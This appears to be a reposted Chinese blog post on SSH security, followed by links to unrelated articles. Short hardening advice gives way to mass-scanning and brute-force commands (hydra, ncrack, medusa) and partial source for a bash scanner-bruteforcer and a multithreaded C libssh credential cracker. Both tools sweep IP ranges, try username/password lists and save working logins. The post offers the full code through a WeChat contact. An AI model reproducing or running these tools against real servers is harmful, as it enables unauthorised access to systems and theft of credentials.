Linux下C/C++ 多线程SSH扫描与暴力攻击

news2024/12/28 5:26:08

Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。

为什么需要SSH

如果没有SSH,绝大多数网络管理员将无法完成他们的工作。SSH协议取代了Telnet和FTP等不安全的机制,成为远程访问和管理的事实标准。SSH不仅确保了网络和系统之间交换的数据的机密性和完整性,而且还实现了基于公钥的身份验证。

但是,SSH的默认安装并不一定安全。而且,如果管理员不遵循最佳实践,SSH可能会使网络容易受到各种攻击。让我们研究一下安全管理员应该在策略和过程中写入的关键SSH最佳实践,以确保其组织的SSH安装是安全的。

SSH相关信息收集

  • 强认证

黑客不断扫描SSH服务器,并试图强行使用用户名和密码。因此,强制使用强密码并明确禁止使用空密码的帐户进行远程登录至关重要。使用开源的开膛手约翰工具来查找任何现有的弱密码。然而,最好的选择是完全禁用服务器密码身份验证,只允许基于密钥的身份验证。此外,用户登录时需要两步验证。创建私钥时,请使用强密码短语对其进行保护。

  • 最低特权

遵循最低特权原则;在确定允许谁使用SSH以及如何使用SSH时,这一点至关重要。将SSH登录限制为仅需要远程访问的用户,并确保这些用户仅具有执行其负责的任务所需的权限。始终禁用root用户登录SSH,而是将管理员添加到sudo组,以便他们可以作为常规用户登录,并使用su命令作为root用户执行命令。此外,设置一个空闲超时间隔以避免出现无人参与的SSH会话——一旦超过该间隔,非活动用户将自动注销。

  • 安全配置

定期修补所有SSH服务器,以确保它们运行的是最新的软件,并且使用SSH-2安全性。SSH-2提供了比SSH-1更好的安全性,而SSH-1已不再被几个合规标准所允许。禁用SSH端口转发,因为这打开了未经批准的通信避免检测的可能性,因为它们是通过加密的SSH连接操作的。
将SSH从标准端口22上的侦听更改为另一个未使用的端口有一点好处。这种默默无闻的安全性将避免业余黑客的自动扫描,但不会欺骗发现SSH服务器的严重尝试。无论SSH在哪个端口上运行,都要强制执行速率限制,以便对传入连接执行简单的限制。设置每个连接允许的最大身份验证尝试次数的下限,以防止暴力攻击。SSH端口永远不应向外部不受信任的连接打开,因此请确保在防火墙处将连接筛选为允许的IP地址,并配置外围防御以登录并阻止从同一IP地址登录的重复尝试。端口敲击可以增加另一层保护。这种SSH最佳实践技术依赖于防火墙规则,只允许知道“秘密敲门”的用户通过执行一系列称为敲门序列的连接尝试,通过特定端口进入网络。这可以防止攻击者对系统进行端口扫描以查找可能被利用的服务。如果没有正确的爆震顺序,受保护的端口将显示为关闭状态。另一种可能性是强制使用堡垒主机,以便自动阻止所有其他传入的SSH连接。

  • 监督和审计

在向互联网公开SSH服务器之前,上述步骤是必不可少的。一旦上线,就部署持续的监控和审核。监视SSH登录和活动以检测任何异常活动。定期进行审核,以发现运行SSH的服务器的新实例,并检测对配置设置的任何未经批准的更改。这将防止影子或不安全的SSH服务增加网络的攻击面。有几种工具可以使这一过程自动化,如下所述。

  • 密钥管理

使用SSH风险评估工具来管理组织IT基础架构中可能存在的大量SSH密钥。这些工具扫描网络中的SSH服务器,然后读取配置文件,以提取每个密钥的确切位置和使用情况。他们还测试配置中的弱点。这确保了所有密钥都处于主动管理之下,并且每个密钥只与一个单独的或设备相关联。另一项重要的关键管理任务是关键轮换。这涉及到定期生成新密钥,以便在很长一段时间内不会使用相同的密钥。

常见的扫描SSH服务器

出于管理目的,SSH经常被使用。几乎所有IT人员都知道。关键词:OpenSSH,只需在机器上使用“ssh<hostname>”,用户名+密码或公钥身份验证,TCP端口22。

然而,如果你仔细研究细节,它会变得更加复杂。你必须处理许多不同类型和表示的指纹,以及加密算法。对特定的连接问题进行故障排除具有挑战性。

要获得SSH服务器配置的概述,需要使用适当的工具对其进行扫描。例如:ssh_scan和Nmap工具.

使用ssh_scan的语法如下:

ssh_scan -t ip地址
ssh_scan -t 主机名

nmap工具使用-p参数指定要探测的端口号,-sV探测端口对应的服务版本信息,x.x.x.x为要探测的目标IP

​ nmap -p 22 -sV x.x.x.x

这只是查看SSH服务器的第一步。如果必须对连接错误进行故障排除,则必须对其进行深入的捕获和分析。但是,如果您想知道哪些协议、密钥等等是可能的,那么这些SSH扫描仪可以做得很好。

常见的暴力攻击工具

使用到的工具主要包括 hydra、ncrack、Medusa等等,这些工具默认在 kali 上已经安装,可以直接使用

hydra -C userpasswdfile 192.168.1.0/24 ssh

ncrack -p 22 -U userfile -P passwdfile  192.168.1.0/24

medusa -C userpasswdfile -h  192.168.1.0/24 -M ssh

SSH多线程扫描和暴力攻击

...
scan() {
dependencies
...
default_port=22
read -e -p $'\e[1;37m[::] Port to scan\e[0m \e[91m(Default 22):\e[0m ' port
port="${port:-${default_port}}"
default_threads=100
read -e -p $'\e[1;37m[::] Numbers of Threads to scan \e[91m(Default 100):\e[0m \e[0m' threads
threads="${threads:-${default_threads}}"
rm -rf targets
for x in $(seq $r1);do for y in $(seq $r2);do for z in $(seq $r3);do for w in $(seq $r4);do
printf "%s.%s.%s.%s\n" $x $y $z $w >> targets
done done done done
rm -rf logip;
count_target=$(wc -l targets | cut -d " " -f1)
printf "\e[1;92m[*] Targets:\e[0m\e[1;77m %s\e[0m\n" $count_target
printf "\e[1;92m[*] Starting scanner...\e[0m\n"
sleep 2
count=0
startline=1
endline="$threads"
while [ $((count+1)) -lt $count_target ]; do
for target in $(sed -n ''$startline','$endline'p' targets); do
let count++
printf "\e[1;93mScanning target:\e[0m\e[77m %s \e[0m\e[1;93m(\e[0m\e[77m%s\e[0m\e[1;93m/\e[0m\e[77m%s\e[0m\e[1;93m)\e[0m\n" $target $count $count_target
{(trap ''SIGINT && check=$(nc $target $port -v -z -w5 > /dev/null 2>&1; echo $?); if [[ $check == "0" ]]; then echo $target >> logip; fi; ) } & done; wait $!;

let startline+=$threads
let endline+=$threads

done

...

default_brute="Y"
read -p $'\e[1;92m[?] Start Brute Forcer?\e[0m\e[1;77m [Y/n]\e[0m' brute
brute="${brute:-${default_brute}}"
if [[ "$brute" == "Y" || "$brute" == "y" || "$brute" == "yes" || "$brute" == "Yes" ]]; then
bruteforcer
else
exit 1
fi
else
printf "\e[1;91m[!] No IPs Found in this range!\e[0m\n"
exit 1
fi
}
...

bruteforcer() {
...
fi
default_port=22
read -p $'\e[1;92m[::] Port \e[0m\e[77m(Default 22): \e[0m' port
port="${port:-${default_port}}"
default_user="usernames"
default_pass="passwords"
read -p $'\e[1;92m[::] Usernames list \e[0m\e[77m(Hit Enter to Default list): \e[0m' wl_user 
wl_user="${wl_user:-${default_user}}"
read -p $'\e[1;92m[::] Passwords list \e[0m\e[77m(Hit Enter to Default list): \e[0m' wl_pass
wl_pass="${wl_pass:-${default_pass}}"

...

for ip in $(sed -n ''$start','$end'p' $ip_list); do
IFS=$'\n'
nip=$(grep -n -x "$ip" "$ip_list" | cut -d ":" -f1)
printf "\e[1;93mTrying IP:\e[0m\e[77m %s (%s/%s)\e[0m\e[1;93m User:\e[0m\e[77m %s\e[0m\e[1;93m Pass:\e[0m\e[77m %s\e[0m\n" $ip $nip $count_ip $user $password
{(trap ''SIGINT && check=$(sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$user"@"$ip" -p $port uname -a 2> /dev/null | grep -c "0" ); if [[ $check == "1" ]]; then printf "\e[1;92m\n\n[*] Found! IP:\e[0m\e[1;77m %s\e[0m,\e[1;92m User:\e[0m\e[1;77m %s\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\n\e[0m" $ip $user $password ; sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$user"@"$ip" -p $port uname -a ; kill -1 $$; fi ) } & done done; wait $!;
sleep 4

done
let start++
let end++
done
printf "\e[1;91m[!] No credentials found!\e[0m\n"
exit 1

}

运行结果

If you need the complete source code, please add the WeChat number (c17865354792)

Linux下C/C++ 多线程SSH扫描与暴力攻击

...
int ConnectSSH(uint32_t ipaddr, char* user, char *passwd)
{
...
    // Open session and set options
    my_ssh_session = ssh_new();
    if (my_ssh_session == NULL)
        return return_val;
...

    // Connect to server
    rc = ssh_connect(my_ssh_session);
    if (rc != SSH_OK)
    {
        ssh_free(my_ssh_session);
        return return_val;
    }

    rc = ssh_userauth_password(my_ssh_session, NULL, passwd);
    if (rc != SSH_AUTH_SUCCESS)
    {
        if (verbose) fprintf(stderr, ANSI_COLOR_BOLD"[%s]"ANSI_COLOR_ENDC"Error authenticating with user:%s pass: %s, %s\n",ip2str(ipaddr),user,passwd,ssh_get_error(my_ssh_session));
        ssh_disconnect(my_ssh_session);
        ssh_free(my_ssh_session);
        return return_val;
    }else if(rc == SSH_AUTH_SUCCESS)
    {
        printf(ANSI_COLOR_BOLD"[%s]"ANSI_COLOR_ENDC" Succeed with user:%s  pass:%s\n",ip2str(ipaddr),user,passwd);

	FILE *f = fopen("valid_credentials", "a");
	fprintf(f, "[%s][%s:%s]\n",ip2str(ipaddr),user,passwd);
	fclose(f);

        return_val=1;
    }
...
}
void checkSSH(void *context)
{
...
    for(j=0;j<targs->wlen;j++)
    {
        char user[MAX_WORD_SIZE];
        char passwd[MAX_WORD_SIZE];
        int result = 0;
        result = sscanf(targs->wtable[j], "%128[^,],%s", user,passwd);
        if(result<0) 
        {
            printf("Error splitting user and password from user,password file.\n");
            break;
        }
...
        int res = ConnectSSH(targs->ipadrr, user, passwd);
        if(res>0) targs->solution=j+1;
    }
}
...
int main(int argc, char ** argv)
{
...

  while ((c = getopt (argc, argv, "hvp:t:s:")) != -1)
    switch (c)
    {
      case 'h':
        help();
        exit(0);
        break;
      case 'v':
        verbose = 1;
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 't':
        nproc = atoi(optarg);
        break;
      case 's':
        timeout = atol(optarg);
        break;
      }
    
    if(argc-optind!=2){
	help();
	exit(0);
    }
    
    ssh_threads_set_callbacks(ssh_threads_get_pthread());
    ssh_init();

    threadpool thpool = thpool_init(nproc);

...

    if(parseSubnet(argv[optind + 1], &ip_addr,&prefix)<0)
    {
        printf("Error reading subnet: %s, format must be X.X.X.X/S\n",argv[2]);
        exit(-1);
    }
    if(prefix>32)
    {
        printf("Error, mask too big: %d\n",prefix);
        exit(-1);
    }
    
    nhosts = pow(2,32 - prefix);
    if(nhosts!=0){
    printf("IP subnet %s/%d has %d hosts\n", ip2str(ip_addr), prefix, nhosts);
    }else{
        printf("Trying with %s\n", ip2str(ip_addr));
    }

    fp = fopen(argv[optind], "r");
    while(fgets(buff, MAX_WORD_SIZE, (FILE*)fp)!=NULL)  wlen++;
    printf("password-user file \"%s\" has %d combinations\n",argv[optind],wlen);
    fclose(fp);
    
    if (verbose) printf("Reading password-user file\n");
    char *words[wlen];
    fp = fopen(argv[optind], "r");
    unsigned int index = 0;
    while(fgets(buff, MAX_WORD_SIZE, (FILE*)fp)!=NULL)
    {
        words[index] = (char *) malloc(strlen(buff));
        memcpy(words[index],buff,strlen(buff)-1);
        index++;
    }
    fclose(fp);
    
    thread_arg_t targs[nhosts];
    
    if(nhosts!=0)
    {
        for(n=0;n<nhosts;n++)
        {
            targs[n].ipadrr = ip_addr + htonl(n);
            targs[n].wlen = wlen;
            targs[n].wtable = words;
            targs[n].solution = -1;
            thpool_add_work(thpool, (void*)checkSSH, (void*)&targs[n]);
        }   
    }
    else
    {
        thread_arg_t targs;
        targs.ipadrr = ip_addr;
        targs.wlen = wlen;
        targs.wtable = words;
        targs.solution = -1;
        thpool_add_work(thpool, (void*)checkSSH, (void*)&targs);
    }

    thpool_wait(thpool);
    thpool_destroy(thpool);
    printf("Done\n");
    
    uint32_t autenticated = 0;
    for(n=0;n<nhosts;n++)
    {
        if(targs[n].solution!=-1) autenticated++;
    }
...
}

运行结果:
在这里插入图片描述
If you need the complete source code, please add the WeChat number (c17865354792)

总结

SSH是提高安全性的关键管理工具,只要SSH服务器的部署和管理受SSH最佳实践的约束,以防止黑客将这些服务器用作网络后门。针对不安全和配置不当的SSH服务器的攻击正在变得普遍。更新SSH相关的策略和过程,以将安全性嵌入到协议的部署和使用中。

Welcome to follow WeChat official account【程序猿编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/635762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python怎么安装skimage?

Python怎么安装skimage&#xff1f; 如果你之前使用Python编程&#xff0c;你可能会遇到需要安装第三方库的情况。对于图像处理任务&#xff0c;你可能需要用到scikit-image&#xff08;也称为skimage&#xff09;这个库。本文将提供一个详细的指南来安装skimage。 1. 确保你…

【JVM篇】类加载过程详解

目录 1、类加载过程概述 2、加载 3、连接 3.1 验证 3.1.1 文件格式验证 3.1.2 元数据验证 3.1.3 字节码验证 3.1.4 符号引用验证 3.2 准备 3.3 解析 4、初始化 1、类加载过程概述 想必大家一般在网上看类加载过程的资料时&#xff0c;通常资料只会将类加载过程概括…

OMG--DDS(Data Distribution Service)

OMG--DDS&#xff08;Data Distribution Service&#xff09; 1 介绍1.1 概述1.2 OMG 涉及的规范 2 内容概述介绍目标 Data-Centric Publish-Subscribe (DCPS) 以数据为中心的发布-订阅概要Platform Independent Model (PIM) 平台独立模型格式和约定概念图总体概念模型PIM 描述…

ChatGPT工作提效之数据可视化大屏组件Echarts的实战方案(大数据量加载、伪3D饼图、地图各省cp中心坐标属性、map3D材质)

ChatGPT工作提效系列文章目录 ChatGPT工作提效之初探路径独孤九剑遇强则强ChatGPT工作提效之在程序开发中的巧劲和指令(创建MySQL语句、PHP语句、Javascript用法、python的交互)ChatGPT工作提效之生成开发需求和报价单并转为Excel格式ChatGPT工作提效之小鹅通二次开发批量API对…

【电路】电路与电子技术基础 课堂笔记 第7章 晶体管放大电路

7.1 放大的概念 7.1.1 放大电路基础 放大电路可以将电信号不失真地进行放大&#xff0c;而且是幅度放大&#xff1b; 本质上&#xff0c;放大是对能量进行控制和转换&#xff0c; 由一个能量较小的输入信号控制直流电源&#xff0c; 将直流电源的能量转换成与输入信号频率…

yolov8量化部署(基于openvino和tensorrt)

yolov8 openvino量化部署 环境配置&#xff1a; pip install ultralytics && pip install openvino-dev将pytorch模型转为openvino模型: from ultralytics import YOLO# Load a model model YOLO("./yolov8n.pt") # load an official model# Export the…

S7-200 PLC编程软件介绍

更多关于西门子S7-200PLC内容请查看&#xff1a;西门子200系列PLC学习课程大纲(课程筹备中) 西门子200PLC编程软件采用的是STEP 7-Micro/WIN 软件。它可以进行编写程序&#xff0c;PLC程序下载与上传&#xff0c;编程向导&#xff0c;程序编译&#xff0c;PLC程序监控等等功能…

软件工程开发文档写作教程(12)—概要设计书的编制目标

本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl本文参考资料&#xff1a;电子工业出版社《软件文档写作教程》 马平&#xff0c;黄冬梅编著 概要设计书概述 《概要设计说明书》又称为《系统设计说明书》&#xff0c;编制的目的是说明…

Cracking C++(10): 基本的输入输出流

文章目录 1. 目的2. I/O Streams 输入/输出流3. Stream Operators 流操作符4. 禁止使用 std::endl5. 缓冲区&#xff1a;直观理解6. References 1. 目的 查看 hackingcpp 上的 Input & Output (Basics) 教程后的笔记和拓展内容。 2. I/O Streams 输入/输出流 使用 C 的标…

chatgpt赋能python:合并多个文件——Python的终极解决方案

合并多个文件——Python的终极解决方案 Python是一种高级编程语言&#xff0c;其简单明了的语法和丰富的库使其成为开发者的首选语言之一。在日常编码中&#xff0c;我们有时候需要将多个文件合并成一个文件以便于处理。这篇文章将详细介绍Python如何进行多个文件的合并。 什…

高数下——查漏补缺

期末复习 一、向量与空间几何 二、多元函数与重极限 2.1定义域 2.2 二元函数重极限

【实战】体验SadTalker

论文http://openaccess.thecvf.com//content/CVPR2023/papers/Zhang_SadTalker_Learning_Realistic_3D_Motion_Coefficients_for_Stylized_Audio-Driven_Single_CVPR_2023_paper.pdf github GitHub - OpenTalker/SadTalker: [CVPR 2023] SadTalker&#xff1a;Learning Realist…

chatgpt赋能python:Python如何合并单元格-实用技巧教程

Python如何合并单元格 - 实用技巧教程 单元格合并是Excel文件和Word文档等办公软件中很常见的功能&#xff0c;而使用Python对数据进行处理时&#xff0c;也可能需要实现合并单元格的操作。本文将为大家介绍Python中实现合并单元格的方法&#xff0c;并给出代码示例。 什么是…

HTML段落标签

HTML段落标签 段落标签 显示特点&#xff1a; 代码&#xff1a; 显示效果&#xff1a; 总结&#xff1a; 答案&#xff1a;

Java性能权威指南-总结10

Java性能权威指南-总结10 垃圾收集算法理解G1垃圾收集器 垃圾收集算法 理解G1垃圾收集器 G1垃圾收集器是一种工作在堆内不同分区上的并发收集器。分区(region)既可以归属于老年代&#xff0c;也可以归属于新生代(默认情况下&#xff0c;一个堆被划分成2048个分区),同一个代的…

chatgpt赋能python:如何取消Python中的科学计数法

如何取消Python中的科学计数法 Python是一种面向对象、解释型的高级编程语言。由于它在数值计算、科学计算以及数据分析等领域的强大功能&#xff0c;Python语言已经成为科学计算和机器学习领域中最常用的语言之一。 然而&#xff0c;当我们进行大量运算时&#xff0c;Python…

[SpringBoot]Spring Security框架

目录 关于Spring Security框架 Spring Security框架的依赖项 Spring Security框架的典型特征 关于Spring Security的配置 关于默认的登录页 关于请求的授权访问&#xff08;访问控制&#xff09; 使用自定义的账号登录 使用数据库中的账号登录 关于密码编码器 使用BCry…

chatgpt赋能python:Python和Java:如何结合使用以提高开发效率

Python和Java&#xff1a;如何结合使用以提高开发效率 Python和Java是两种非常流行的编程语言&#xff0c;它们各自有自己的优势和用途。但有时候&#xff0c;我们需要将它们结合起来使用&#xff0c;以便更好地完成某些任务。在本文中&#xff0c;我们将介绍如何通过使用Java…

2.17 内存映射(1) 2.18内存映射(2)

2.17 内存映射&#xff08;1&#xff09; 内存映射 内存映射相关系统调用 void *mmap(void *addr, size_t length, int prot, int flags,int fd, off_t offset);- 功能&#xff1a;将一个文件或者设备的数据映射到内存中- 参数&#xff1a;- void *addr: NULL, 由内核指定- le…

SpringSecurity学习 -- 1 springSecurity

目录 简介&#xff1a; token和jwt的区别 1.快速入门 1.自定义用户名和密码。 自定义重定向。 2.设置权限管理 3.从路径中获取用户信息 2.SpringSecurity核心组件 SecurityContext : authentication对象的容器。 SecurityContextHolder : Authentication: ​编辑 U…